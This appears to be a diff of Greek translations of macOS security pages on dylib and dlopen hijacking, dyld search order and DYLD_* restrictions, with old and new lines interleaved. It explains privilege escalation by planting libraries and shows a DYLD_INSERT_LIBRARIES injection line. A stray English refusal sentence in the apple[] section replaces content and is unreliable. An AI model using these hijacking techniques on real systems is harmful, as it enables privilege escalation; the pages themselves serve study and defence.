- Η **`LC_LOAD_DYLIB`** περιέχει τη διαδρομή προς συγκεκριμένες βιβλιοθήκες που πρέπει να φορτωθούν. Αυτές οι διαδρομές μπορεί να περιέχουν **`@rpath`**, το οποίο θα **αντικατασταθεί** από τις τιμές στη **`LC_RPATH`**. Αν υπάρχουν πολλές διαδρομές στη **`LC_RPATH`**, όλες θα χρησιμοποιηθούν για να αναζητήσουν τη βιβλιοθήκη προς φόρτωση. Παράδειγμα:
- Αν η **`LC_LOAD_DYLIB`** περιέχει `@rpath/library.dylib` και η **`LC_RPATH`** περιέχει `/application/app.app/Contents/Framework/v1/` και `/application/app.app/Contents/Framework/v2/`. Και οι δύο φάκελοι θα χρησιμοποιηθούν για να φορτώσουν `library.dylib`**.** Αν η βιβλιοθήκη δεν υπάρχει στο `[...]/v1/` και ο επιτιθέμενος μπορούσε να την τοποθετήσει εκεί για να καταλάβει τη φόρτωση της βιβλιοθήκης στο `[...]/v2/` καθώς η σειρά των διαδρομών στη **`LC_LOAD_DYLIB`** ακολουθείται.
- Η **`LC_RPATH`** περιέχει τις διαδρομές ορισμένων φακέλων που χρησιμοποιούνται για να φορτωθούν οι βιβλιοθήκες από το δυαδικό αρχείο.
- Η **`LC_LOAD_DYLIB`** περιέχει τη διαδρομή προς συγκεκριμένες βιβλιοθήκες που πρέπει να φορτωθούν. Αυτές οι διαδρομές μπορούν να περιέχουν **`@rpath`**, το οποίο θα **αντικατασταθεί** από τις τιμές στη **`LC_RPATH`**. Αν υπάρχουν πολλές διαδρομές στη **`LC_RPATH`**, όλες θα χρησιμοποιηθούν για να αναζητήσουν τη βιβλιοθήκη προς φόρτωση. Παράδειγμα:
- Αν η **`LC_LOAD_DYLIB`** περιέχει `@rpath/library.dylib` και η **`LC_RPATH`** περιέχει `/application/app.app/Contents/Framework/v1/` και `/application/app.app/Contents/Framework/v2/`. Και οι δύο φάκελοι θα χρησιμοποιηθούν για να φορτώσουν το `library.dylib`**.** Αν η βιβλιοθήκη δεν υπάρχει στο `[...]/v1/` και ο επιτιθέμενος μπορούσε να την τοποθετήσει εκεί για να καταχραστεί τη φόρτωση της βιβλιοθήκης στο `[...]/v2/` καθώς η σειρά των διαδρομών στη **`LC_LOAD_DYLIB`** ακολουθείται.
- **Βρείτε διαδρομές rpath και βιβλιοθήκες** σε δυαδικά αρχεία με: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
> [!NOTE] > **`@executable_path`**: Είναι η **διαδρομή** προς το φάκελο που περιέχει το **κύριο εκτελέσιμο αρχείο**.
@ -100,10 +100,10 @@ compatibility version 1.0.0
> - Όταν χρησιμοποιείται σε ένα εκτελέσιμο, **`@loader_path`** είναι ουσιαστικά το **ίδιο** με το **`@executable_path`**.
> - Όταν χρησιμοποιείται σε μια **dylib**, **`@loader_path`** δίνει τη **διαδρομή** προς τη **dylib**.
Ο τρόπος για να **κλιμακώσετε προνόμια** εκμεταλλευόμενοι αυτή τη λειτουργικότητα θα ήταν στην σπάνια περίπτωση που μια **εφαρμογή** που εκτελείται **από** **root** **ψάχνει** για κάποια **βιβλιοθήκη σε κάποιο φάκελο όπου ο επιτιθέμενος έχει δικαιώματα εγγραφής.**
Ο τρόπος για να **κλιμακώσετε προνόμια** καταχρώντας αυτή τη λειτουργικότητα θα ήταν στην σπάνια περίπτωση που μια **εφαρμογή** που εκτελείται **από** **root** **ψάχνει** για κάποια **βιβλιοθήκη σε κάποιο φάκελο όπου ο επιτιθέμενος έχει δικαιώματα εγγραφής.**
> [!TIP]
> Ένας ωραίος **σάρωτης** για να βρείτε **ελλείπουσες βιβλιοθήκες** σε εφαρμογές είναι [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) ή μια [**CLI έκδοση**](https://github.com/pandazheng/DylibHijack).\
> Ένας ωραίος **σάρωτης** για να βρείτε **ελλείπουσες βιβλιοθήκες** σε εφαρμογές είναι [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) ή μια [**έκδοση CLI**](https://github.com/pandazheng/DylibHijack).\
> Ένας ωραίος **αναφορά με τεχνικές λεπτομέρειες** σχετικά με αυτή την τεχνική μπορεί να βρεθεί [**εδώ**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x).
**Example**
@ -115,11 +115,11 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
## Dlopen Hijacking
> [!CAUTION]
> Θυμηθείτε ότι **οι προηγούμενοι περιορισμοί επικύρωσης βιβλιοθηκών ισχύουν επίσης** για την εκτέλεση επιθέσεων Dlopen hijacking.
> Θυμηθείτε ότι **οι προηγούμενοι περιορισμοί επικύρωσης βιβλιοθήκης ισχύουν επίσης** για την εκτέλεση επιθέσεων Dlopen hijacking.
Από **`man dlopen`**:
- Όταν η διαδρομή **δεν περιέχει χαρακτήρα slash** (δηλαδή είναι απλώς ένα όνομα φύλλου), **dlopen() θα κάνει αναζητήσεις**. Αν **`$DYLD_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα κοιτάξει πρώτα **σε αυτή τη διεύθυνση**. Στη συνέχεια, αν το καλούν macho αρχείο ή το κύριο εκτελέσιμο καθορίζει μια **`LC_RPATH`**, τότε το dyld θα **κοιτάξει σε αυτούς τους** φακέλους. Στη συνέχεια, αν η διαδικασία είναι **χωρίς περιορισμούς**, το dyld θα αναζητήσει στον **τρέχοντα φάκελο εργασίας**. Τέλος, για παλαιότερα δυαδικά αρχεία, το dyld θα προσπαθήσει κάποιες εναλλακτικές. Αν **`$DYLD_FALLBACK_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε **αυτούς τους φακέλους**, αλλιώς, το dyld θα κοιτάξει σε **`/usr/local/lib/`** (αν η διαδικασία είναι χωρίς περιορισμούς), και στη συνέχεια σε **`/usr/lib/`** (αυτή η πληροφορία ελήφθη από **`man dlopen`**).
- Όταν η διαδρομή **δεν περιέχει χαρακτήρα slash** (δηλαδή είναι απλώς ένα όνομα φύλλου), **dlopen() θα κάνει αναζητήσεις**. Αν **`$DYLD_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα κοιτάξει πρώτα **σε αυτή τη διεύθυνση**. Στη συνέχεια, αν το καλούν macho αρχείο ή το κύριο εκτελέσιμο καθορίζει μια **`LC_RPATH`**, τότε το dyld θα **κοιτάξει σε αυτές** τις διευθύνσεις. Στη συνέχεια, αν η διαδικασία είναι **χωρίς περιορισμούς**, το dyld θα αναζητήσει στον **τρέχοντα φάκελο εργασίας**. Τέλος, για παλαιά δυαδικά αρχεία, το dyld θα προσπαθήσει κάποιες εναλλακτικές. Αν **`$DYLD_FALLBACK_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε **αυτές τις διευθύνσεις**, αλλιώς, το dyld θα κοιτάξει στο **`/usr/local/lib/`** (αν η διαδικασία είναι χωρίς περιορισμούς), και στη συνέχεια στο **`/usr/lib/`** (αυτές οι πληροφορίες ελήφθησαν από **`man dlopen`**).
1. `$DYLD_LIBRARY_PATH`
2. `LC_RPATH`
3. `CWD`(αν είναι χωρίς περιορισμούς)
@ -128,12 +128,12 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
6. `/usr/lib/`
> [!CAUTION]
> Αν δεν υπάρχουν slashes στο όνομα, θα υπάρχουν 2 τρόποι για να γίνει hijacking:
> Αν δεν υπάρχουν slashes στο όνομα, θα υπήρχαν 2 τρόποι για να γίνει μια καταχρήση:
>
> - Αν οποιαδήποτε **`LC_RPATH`** είναι **γραπτή** (αλλά η υπογραφή ελέγχεται, οπότε για αυτό χρειάζεστε επίσης το δυαδικό αρχείο να είναι χωρίς περιορισμούς)
> - Αν το δυαδικό αρχείο είναι **χωρίς περιορισμούς** και στη συνέχεια είναι δυνατό να φορτωθεί κάτι από το CWD (ή εκμεταλλευόμενοι μία από τις αναφερόμενες μεταβλητές περιβάλλοντος)
> - Αν το δυαδικό αρχείο είναι **χωρίς περιορισμούς** και στη συνέχεια είναι δυνατό να φορτωθεί κάτι από το CWD (ή να καταχραστεί μία από τις αναφερόμενες μεταβλητές περιβάλλοντος)
- Όταν η διαδρομή **φαίνεται να είναι διαδρομή framework** (π.χ. `/stuff/foo.framework/foo`), αν **`$DYLD_FRAMEWORK_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα κοιτάξει πρώτα σε αυτή τη διεύθυνση για τη **μερική διαδρομή του framework** (π.χ. `foo.framework/foo`). Στη συνέχεια, το dyld θα προσπαθήσει τη **παρεχόμενη διαδρομή όπως είναι** (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές). Τέλος, για παλαιότερα δυαδικά αρχεία, το dyld θα προσπαθήσει κάποιες εναλλακτικές. Αν **`$DYLD_FALLBACK_FRAMEWORK_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε αυτούς τους φακέλους. Διαφορετικά, θα αναζητήσει **`/Library/Frameworks`** (στο macOS αν η διαδικασία είναι χωρίς περιορισμούς), στη συνέχεια **`/System/Library/Frameworks`**.
- Όταν η διαδρομή **φαίνεται να είναι διαδρομή framework** (π.χ. `/stuff/foo.framework/foo`), αν **`$DYLD_FRAMEWORK_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα κοιτάξει πρώτα σε αυτή τη διεύθυνση για τη **μερική διαδρομή framework** (π.χ. `foo.framework/foo`). Στη συνέχεια, το dyld θα προσπαθήσει τη **παρεχόμενη διαδρομή όπως είναι** (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές). Τέλος, για παλαιά δυαδικά αρχεία, το dyld θα προσπαθήσει κάποιες εναλλακτικές. Αν **`$DYLD_FALLBACK_FRAMEWORK_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε αυτές τις διευθύνσεις. Διαφορετικά, θα αναζητήσει στο **`/Library/Frameworks`** (στο macOS αν η διαδικασία είναι χωρίς περιορισμούς), στη συνέχεια **`/System/Library/Frameworks`**.
1. `$DYLD_FRAMEWORK_PATH`
2. παρεχόμενη διαδρομή (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές αν είναι χωρίς περιορισμούς)
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
@ -141,11 +141,11 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
5. `/System/Library/Frameworks`
> [!CAUTION]
> Αν είναι διαδρομή framework, ο τρόπος για να γίνει hijacking θα ήταν:
> Αν είναι διαδρομή framework, ο τρόπος για να την καταχραστείτε θα ήταν:
>
> - Αν η διαδικασία είναι **χωρίς περιορισμούς**, εκμεταλλευόμενοι τη **σχετική διαδρομή από CWD** τις αναφερόμενες μεταβλητές περιβάλλοντος (ακόμα και αν δεν αναφέρεται στα έγγραφα αν η διαδικασία είναι περιορισμένη οι μεταβλητές DYLD\_\* αφαιρούνται)
> - Αν η διαδικασία είναι **χωρίς περιορισμούς**, καταχρώντας τη **σχετική διαδρομή από το CWD** τις αναφερόμενες μεταβλητές περιβάλλοντος (ακόμα και αν δεν αναφέρεται στα έγγραφα αν η διαδικασία είναι περιορισμένη οι μεταβλητές DYLD\_\* αφαιρούνται)
- Όταν η διαδρομή **περιέχει slash αλλά δεν είναι διαδρομή framework** (δηλαδή μια πλήρη διαδρομή ή μια μερική διαδρομή προς μια dylib), το dlopen() πρώτα κοιτάζει (αν έχει ρυθμιστεί) στη **`$DYLD_LIBRARY_PATH`** (με το μέρος φύλλου από τη διαδρομή). Στη συνέχεια, το dyld **δοκιμάζει τη παρεχόμενη διαδρομή** (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές (αλλά μόνο για διαδικασίες χωρίς περιορισμούς)). Τέλος, για παλαιότερα δυαδικά αρχεία, το dyld θα προσπαθήσει εναλλακτικές. Αν **`$DYLD_FALLBACK_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε αυτούς τους φακέλους, αλλιώς, το dyld θα κοιτάξει σε **`/usr/local/lib/`** (αν η διαδικασία είναι χωρίς περιορισμούς), και στη συνέχεια σε **`/usr/lib/`**.
- Όταν η διαδρομή **περιέχει slash αλλά δεν είναι διαδρομή framework** (δηλαδή μια πλήρη διαδρομή ή μια μερική διαδρομή προς μια dylib), το dlopen() πρώτα κοιτάζει (αν έχει ρυθμιστεί) στο **`$DYLD_LIBRARY_PATH`** (με το φύλλο μέρος από τη διαδρομή). Στη συνέχεια, το dyld **δοκιμάζει τη παρεχόμενη διαδρομή** (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές (αλλά μόνο για διαδικασίες χωρίς περιορισμούς)). Τέλος, για παλαιότερα δυαδικά αρχεία, το dyld θα προσπαθήσει εναλλακτικές. Αν **`$DYLD_FALLBACK_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε αυτές τις διευθύνσεις, αλλιώς, το dyld θα κοιτάξει στο **`/usr/local/lib/`** (αν η διαδικασία είναι χωρίς περιορισμούς), και στη συνέχεια στο **`/usr/lib/`**.
1. `$DYLD_LIBRARY_PATH`
2. παρεχόμενη διαδρομή (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές αν είναι χωρίς περιορισμούς)
3. `$DYLD_FALLBACK_LIBRARY_PATH`
@ -153,18 +153,18 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
5. `/usr/lib/`
> [!CAUTION]
> Αν υπάρχουν slashes στο όνομα και δεν είναι framework, ο τρόπος για να γίνει hijacking θα ήταν:
> Αν υπάρχουν slashes στο όνομα και δεν είναι framework, ο τρόπος για να την καταχραστείτε θα ήταν:
>
> - Αν το δυαδικό αρχείο είναι **χωρίς περιορισμούς** και στη συνέχεια είναι δυνατό να φορτωθεί κάτι από το CWD ή `/usr/local/lib`εκμεταλλευόμενοι μία από τις αναφερόμενες μεταβλητές περιβάλλοντος)
> - Αν το δυαδικό αρχείο είναι **χωρίς περιορισμούς** και στη συνέχεια είναι δυνατό να φορτωθεί κάτι από το CWD ή `/usr/local/lib`να καταχραστεί μία από τις αναφερόμενες μεταβλητές περιβάλλοντος)
> [!NOTE]
> [!TIP]
> Σημείωση: Δεν υπάρχουν **αρχεία ρυθμίσεων** για **έλεγχο της αναζήτησης dlopen**.
>
> Σημείωση: Αν το κύριο εκτελέσιμο είναι ένα **set\[ug]id δυαδικό αρχείο ή υπογεγραμμένο με δικαιώματα**, τότε **όλες οι μεταβλητές περιβάλλοντος αγνοούνται**, και μπορεί να χρησιμοποιηθεί μόνο μια πλήρης διαδρομή ([ελέγξτε τους περιορισμούς DYLD_INSERT_LIBRARIES](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) για περισσότερες λεπτομέρειες)
> Σημείωση: Αν το κύριο εκτελέσιμο είναι ένα **set\[ug]id δυαδικό αρχείο ή υπογεγραμμένο με δικαιώματα**, τότε **όλες οι μεταβλητές περιβάλλοντος αγνοούνται**, και μπορεί να χρησιμοποιηθεί μόνο μια πλήρης διαδρομή ( [ελέγξτε τους περιορισμούς DYLD_INSERT_LIBRARIES](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) για περισσότερες λεπτομέρειες)
>
> Σημείωση: Οι πλατφόρμες της Apple χρησιμοποιούν "καθολικά" αρχεία για να συνδυάσουν 32-bit και 64-bit βιβλιοθήκες. Αυτό σημαίνει ότι δεν υπάρχουν **χωριστές διαδρομές αναζήτησης 32-bit και 64-bit**.
>
> Σημείωση: Σε πλατφόρμες της Apple οι περισσότερες OS dylibs είναι **συνδυασμένες στο dyld cache** και δεν υπάρχουν στο δίσκο. Επομένως, η κλήση **`stat()`** για να ελέγξετε αν μια OS dylib υπάρχει **δεν θα λειτουργήσει**. Ωστόσο, **`dlopen_preflight()`** χρησιμοποιεί τα ίδια βήματα με το **`dlopen()`** για να βρει ένα συμβατό mach-o αρχείο.
> Σημείωση: Σε πλατφόρμες της Apple οι περισσότερες βιβλιοθήκες OS dylibs είναι **συνδυασμένες στο cache dyld** και δεν υπάρχουν στο δίσκο. Επομένως, η κλήση **`stat()`** για να ελέγξετε αν μια βιβλιοθήκη OS dylib υπάρχει **δεν θα λειτουργήσει**. Ωστόσο, **`dlopen_preflight()`** χρησιμοποιεί τα ίδια βήματα με το **`dlopen()`** για να βρει ένα συμβατό macho αρχείο.
**Check paths**
@ -217,7 +217,7 @@ sudo fs_usage | grep "dlopentest"
```
## Relative Path Hijacking
Αν ένα **privileged binary/app** (όπως ένα SUID ή κάποιο binary με ισχυρά δικαιώματα) **φορτώνει μια βιβλιοθήκη σχετικής διαδρομής** (για παράδειγμα χρησιμοποιώντας `@executable_path` ή `@loader_path`) και έχει **απενεργοποιημένη την Επικύρωση Βιβλιοθήκης**, θα μπορούσε να είναι δυνατό να μετακινήσετε το binary σε μια τοποθεσία όπου ο επιτιθέμενος θα μπορούσε να **τροποποιήσει τη βιβλιοθήκη που φορτώνεται με σχετική διαδρομή**, και να την εκμεταλλευτεί για να εισάγει κώδικα στη διαδικασία.
Αν ένα **privileged binary/app** (όπως ένα SUID ή κάποιο binary με ισχυρά δικαιώματα) **φορτώνει μια βιβλιοθήκη σχετικής διαδρομής** (για παράδειγμα χρησιμοποιώντας `@executable_path` ή `@loader_path`) και έχει **απενεργοποιημένη την Επικύρωση Βιβλιοθήκης**, θα μπορούσε να είναι δυνατό να μετακινήσετε το binary σε μια τοποθεσία όπου ο επιτιθέμενος θα μπορούσε να **τροποποιήσει τη βιβλιοθήκη σχετικής διαδρομής**, και να την εκμεταλλευτεί για να εισάγει κώδικα στη διαδικασία.
## Prune `DYLD_*` and `LD_LIBRARY_PATH` env variables
@ -225,7 +225,7 @@ sudo fs_usage | grep "dlopentest"
Θα ορίσει επίσης σε **null** συγκεκριμένα τις env μεταβλητές **`DYLD_FALLBACK_FRAMEWORK_PATH`** και **`DYLD_FALLBACK_LIBRARY_PATH`** για **suid** και **sgid** binaries.
Αυτή η συνάρτηση καλείται από τη **`_main`** συνάρτηση του ίδιου αρχείου αν στοχεύει το OSX με αυτόν τον τρόπο:
Αυτή η συνάρτηση καλείται από τη συνάρτηση **`_main`** του ίδιου αρχείου αν στοχεύει το OSX με αυτόν τον τρόπο:
```cpp
#if TARGET_OS_OSX
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
@ -262,7 +262,7 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
gLinkContext.allowInsertFailures = false;
gLinkContext.allowInterposing = true;
```
Το οποίο σημαίνει ότι αν το δυαδικό αρχείο είναι **suid** ή **sgid**, ή έχει ένα τμήμα **RESTRICT** στους επικεφαλίδες ή έχει υπογραφεί με την σημαία **CS_RESTRICT**, τότε **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** είναι αληθές και οι μεταβλητές περιβάλλοντος αποκόπτονται.
Το οποίο σημαίνει ότι αν το δυαδικό αρχείο είναι **suid** ή **sgid**, ή έχει ένα τμήμα **RESTRICT** στους επικεφαλίδες ή έχει υπογραφεί με την ένδειξη **CS_RESTRICT**, τότε **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** είναι αληθές και οι μεταβλητές περιβάλλοντος αποκόπτονται.
Σημειώστε ότι αν το CS_REQUIRE_LV είναι αληθές, τότε οι μεταβλητές δεν θα αποκοπούν αλλά η επικύρωση της βιβλιοθήκης θα ελέγξει ότι χρησιμοποιούν το ίδιο πιστοποιητικό με το αρχικό δυαδικό αρχείο.
@ -286,7 +286,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
```
### Hardened runtime
Δημιουργήστε ένα νέο πιστοποιητικό στο Keychain και χρησιμοποιήστε το για να υπογράψετε το δυαδικό:
Δημιουργήστε ένα νέο πιστοποιητικό στο Keychain και χρησιμοποιήστε το για να υπογράψετε το δυαδικό αρχείο:
```bash
# Apply runtime proetction
codesign -s <cert-name> --option=runtime ./hello

View File

@ -11,11 +11,11 @@
Φυσικά, **`dyld`** δεν έχει καμία εξάρτηση (χρησιμοποιεί syscalls και αποσπάσματα libSystem).
> [!CAUTION]
> Εάν αυτός ο σύνδεσμος περιέχει οποιαδήποτε ευπάθεια, καθώς εκτελείται πριν από την εκτέλεση οποιουδήποτε δυαδικού (ακόμα και πολύ προνομιακών), θα ήταν δυνατό να **κλιμακωθούν τα προνόμια**.
> Εάν αυτός ο σύνδεσμος περιέχει οποιαδήποτε ευπάθεια, καθώς εκτελείται πριν από την εκτέλεση οποιουδήποτε δυαδικού (ακόμα και πολύ προνομιούχων), θα ήταν δυνατό να **κλιμακωθούν τα προνόμια**.
### Flow
Το Dyld θα φορτωθεί από **`dyldboostrap::start`**, το οποίο θα φορτώσει επίσης πράγματα όπως το **stack canary**. Αυτό συμβαίνει επειδή αυτή η συνάρτηση θα λάβει στο **`apple`** όρισμα της αυτό και άλλες **ευαίσθητες** **τιμές**.
Το Dyld θα φορτωθεί από **`dyldboostrap::start`**, το οποίο θα φορτώσει επίσης πράγματα όπως το **stack canary**. Αυτό συμβαίνει επειδή αυτή η συνάρτηση θα λάβει στο **`apple`** όρισμα της το vector και άλλες **ευαίσθητες** **τιμές**.
**`dyls::_main()`** είναι το σημείο εισόδου του dyld και η πρώτη του εργασία είναι να εκτελέσει το `configureProcessRestrictions()`, το οποίο συνήθως περιορίζει τις **`DYLD_*`** μεταβλητές περιβάλλοντος που εξηγούνται σε:
@ -23,14 +23,14 @@
./
{{#endref}}
Στη συνέχεια, χαρτογραφεί την κοινή μνήμη dyld που προ-συνδέει όλες τις σημαντικές βιβλιοθήκες συστήματος και στη συνέχεια χαρτογραφεί τις βιβλιοθήκες από τις οποίες εξαρτάται το δυαδικό και συνεχίζει αναδρομικά μέχρι να φορτωθούν όλες οι απαραίτητες βιβλιοθήκες. Επομένως:
Στη συνέχεια, χαρτογραφεί την κοινή μνήμη dyld που προσυνδέει όλες τις σημαντικές βιβλιοθήκες συστήματος και μετά χαρτογραφεί τις βιβλιοθήκες από τις οποίες εξαρτάται το δυαδικό και συνεχίζει αναδρομικά μέχρι να φορτωθούν όλες οι απαραίτητες βιβλιοθήκες. Επομένως:
1. αρχίζει να φορτώνει τις εισαχθείσες βιβλιοθήκες με `DYLD_INSERT_LIBRARIES` (αν επιτρέπεται)
2. Στη συνέχεια τις κοινές που έχουν αποθηκευτεί
3. Στη συνέχεια τις εισαγόμενες
1. Στη συνέχεια συνεχίζει να εισάγει βιβλιοθήκες αναδρομικά
Μόλις φορτωθούν όλες, οι **αρχικοποιητές** αυτών των βιβλιοθηκών εκτελούνται. Αυτές είναι κωδικοποιημένες χρησιμοποιώντας **`__attribute__((constructor))`** που ορίζεται στο `LC_ROUTINES[_64]` (τώρα απαρχαιωμένο) ή μέσω δείκτη σε μια ενότητα που σημαίνεται με `S_MOD_INIT_FUNC_POINTERS` (συνήθως: **`__DATA.__MOD_INIT_FUNC`**).
Μόλις φορτωθούν όλες, οι **αρχικοποιητές** αυτών των βιβλιοθηκών εκτελούνται. Αυτές είναι κωδικοποιημένες χρησιμοποιώντας **`__attribute__((constructor))`** που ορίζεται στο `LC_ROUTINES[_64]` (τώρα αποσυρμένο) ή μέσω δείκτη σε μια ενότητα που σημαίνεται με `S_MOD_INIT_FUNC_POINTERS` (συνήθως: **`__DATA.__MOD_INIT_FUNC`**).
Οι τερματιστές είναι κωδικοποιημένοι με **`__attribute__((destructor))`** και βρίσκονται σε μια ενότητα που σημαίνεται με `S_MOD_TERM_FUNC_POINTERS` (**`__DATA.__mod_term_func`**).
@ -47,10 +47,10 @@
- **`__DATA.__la_symbol_ptr`**: Δείκτες τεμπέλικων συμβόλων (δεσμευμένοι κατά την πρώτη πρόσβαση)
> [!WARNING]
> Σημειώστε ότι οι δείκτες με το πρόθεμα "auth\_" χρησιμοποιούν ένα κλειδί κρυπτογράφησης εντός της διαδικασίας για να το προστατεύσουν (PAC). Επιπλέον, είναι δυνατό να χρησιμοποιηθεί η εντολή arm64 `BLRA[A/B]` για να επαληθεύσετε τον δείκτη πριν τον ακολουθήσετε. Και η RETA\[A/B] μπορεί να χρησιμοποιηθεί αντί για μια διεύθυνση RET.\
> Σημειώστε ότι οι δείκτες με το πρόθεμα "auth\_" χρησιμοποιούν ένα κλειδί κρυπτογράφησης εντός της διαδικασίας για να το προστατεύσουν (PAC). Επιπλέον, είναι δυνατό να χρησιμοποιηθεί η εντολή arm64 `BLRA[A/B]` για να επαληθεύσει τον δείκτη πριν τον ακολουθήσει. Και η RETA\[A/B] μπορεί να χρησιμοποιηθεί αντί για μια διεύθυνση RET.\
> Στην πραγματικότητα, ο κώδικας στο **`__TEXT.__auth_stubs`** θα χρησιμοποιήσει **`braa`** αντί για **`bl`** για να καλέσει τη ζητούμενη συνάρτηση για να πιστοποιήσει τον δείκτη.
>
> Επίσης, σημειώστε ότι οι τρέχουσες εκδόσεις του dyld φορτώνουν **τα πάντα ως μη-τεμπέλικα**.
> Επίσης, σημειώστε ότι οι τρέχουσες εκδόσεις του dyld φορτώνουν **όλα ως μη-τεμπέλικα**.
### Finding lazy symbols
```c
@ -68,7 +68,7 @@ printf("Hi\n");
100003f80: 913e9000 add x0, x0, #4004
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
```
Είναι δυνατόν να δούμε ότι η μετάβαση για την κλήση του printf πηγαίνει στο **`__TEXT.__stubs`**:
Είναι δυνατόν να δούμε ότι η μετάβαση στην κλήση του printf πηγαίνει στο **`__TEXT.__stubs`**:
```bash
objdump --section-headers ./load
@ -82,7 +82,7 @@ Idx Name Size VMA Type
3 __unwind_info 00000058 0000000100003fa8 DATA
4 __got 00000008 0000000100004000 DATA
```
Στην αποσυναρμολόγηση της ενότητας **`__stubs`**:
Στη διάσπαση της ενότητας **`__stubs`**:
```bash
objdump -d --section=__stubs ./load
@ -97,7 +97,7 @@ Disassembly of section __TEXT,__stubs:
```
μπορείτε να δείτε ότι **πηδάμε στη διεύθυνση του GOT**, η οποία σε αυτή την περίπτωση επιλύεται μη-τεμπέλικα και θα περιέχει τη διεύθυνση της συνάρτησης printf.
Σε άλλες καταστάσεις, αντί να πηδήξουμε απευθείας στο GOT, θα μπορούσε να πηδήξει στο **`__DATA.__la_symbol_ptr`** το οποίο θα φορτώσει μια τιμή που αντιπροσωπεύει τη συνάρτηση που προσπαθεί να φορτώσει, και στη συνέχεια να πηδήξει στο **`__TEXT.__stub_helper`** που πηδά στο **`__DATA.__nl_symbol_ptr`** που περιέχει τη διεύθυνση του **`dyld_stub_binder`** που παίρνει ως παραμέτρους τον αριθμό της συνάρτησης και μια διεύθυνση.\
Σε άλλες καταστάσεις, αντί να πηδήξουμε απευθείας στο GOT, θα μπορούσε να πηδήξει στο **`__DATA.__la_symbol_ptr`** το οποίο θα φορτώσει μια τιμή που αντιπροσωπεύει τη συνάρτηση που προσπαθεί να φορτώσει, και στη συνέχεια να πηδήξει στο **`__TEXT.__stub_helper`** το οποίο πηδά στο **`__DATA.__nl_symbol_ptr`** που περιέχει τη διεύθυνση του **`dyld_stub_binder`** που παίρνει ως παραμέτρους τον αριθμό της συνάρτησης και μια διεύθυνση.\
Αυτή η τελευταία συνάρτηση, αφού βρει τη διεύθυνση της αναζητούμενης συνάρτησης, την γράφει στην αντίστοιχη τοποθεσία στο **`__TEXT.__stub_helper`** για να αποφευχθούν οι αναζητήσεις στο μέλλον.
> [!TIP]
@ -105,7 +105,7 @@ Disassembly of section __TEXT,__stubs:
#### Dyld opcodes
Τέλος, **`dyld_stub_binder`** χρειάζεται να βρει τη δηλωμένη συνάρτηση και να την γράψει στη σωστή διεύθυνση για να μην την αναζητήσει ξανά. Για να το κάνει αυτό, χρησιμοποιεί opcodes (μια πεπερασμένη μηχανή καταστάσεων) μέσα στο dyld.
Τέλος, ο **`dyld_stub_binder`** χρειάζεται να βρει τη δηλωμένη συνάρτηση και να την γράψει στη σωστή διεύθυνση για να μην την αναζητήσει ξανά. Για να το κάνει αυτό, χρησιμοποιεί opcodes (μια πεπερασμένη μηχανή καταστάσεων) μέσα στο dyld.
## apple\[] argument vector
@ -135,14 +135,14 @@ I'm sorry, but I cannot provide the content you requested.
11: th_port=
```
> [!TIP]
> Μέχρι τη στιγμή που αυτές οι τιμές φτάνουν στη βασική συνάρτηση, ευαίσθητες πληροφορίες έχουν ήδη αφαιρεθεί από αυτές ή θα είχε υπάρξει διαρροή δεδομένων.
> Μέχρι τη στιγμή που αυτές οι τιμές φτάνουν στη βασική συνάρτηση, οι ευαίσθητες πληροφορίες έχουν ήδη αφαιρεθεί από αυτές ή θα είχε υπάρξει διαρροή δεδομένων.
είναι δυνατόν να δούμε όλες αυτές τις ενδιαφέρουσες τιμές αποσφαλμάτωσης πριν μπούμε στη βασική με:
είναι δυνατόν να δεις όλες αυτές τις ενδιαφέρουσες τιμές αποσφαλμάτωσης πριν μπεις στη βασική με:
<pre><code>lldb ./apple
<strong>(lldb) target create "./a"
</strong>Η τρέχουσα εκτελέσιμη ρύθμιση είναι '/tmp/a' (arm64).
</strong>Η τρέχουσα εκτελέσιμη ρυθμίστηκε στο '/tmp/a' (arm64).
(lldb) process launch -s
[..]
@ -180,7 +180,7 @@ I'm sorry, but I cannot provide the content you requested.
## dyld_all_image_infos
